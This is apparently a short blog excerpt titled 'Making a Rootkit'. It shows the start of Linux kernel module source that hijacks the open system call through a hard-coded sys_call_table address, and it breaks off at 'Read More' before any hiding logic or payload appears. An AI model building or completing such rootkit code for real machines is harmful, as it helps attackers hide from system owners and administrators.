Making a Rootkit

#include <asm/unistd.h> #include <asm/cacheflush.h> #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <asm/pgtable_types.h> #include <linux/highmem.h> #include <linux/fs.h> #include <linux/sched.h> #include <linux/moduleparam.h> #include <linux/unistd.h> #include <asm/cacheflush.h> MODULE_LICENSE(“GPL”); MODULE_LICENSE(“D0hnuts”); /*MY sys_call_table address*/ //ffffffff81601680 void **system_call_table_addr; asmlinkage int (*original_open)(const char *pathname, int flags); asmlinkage int open_hijack(const char *pathname, int flags) {     /*This hooks all  OPEN sys calls… Read More Making a Rootkit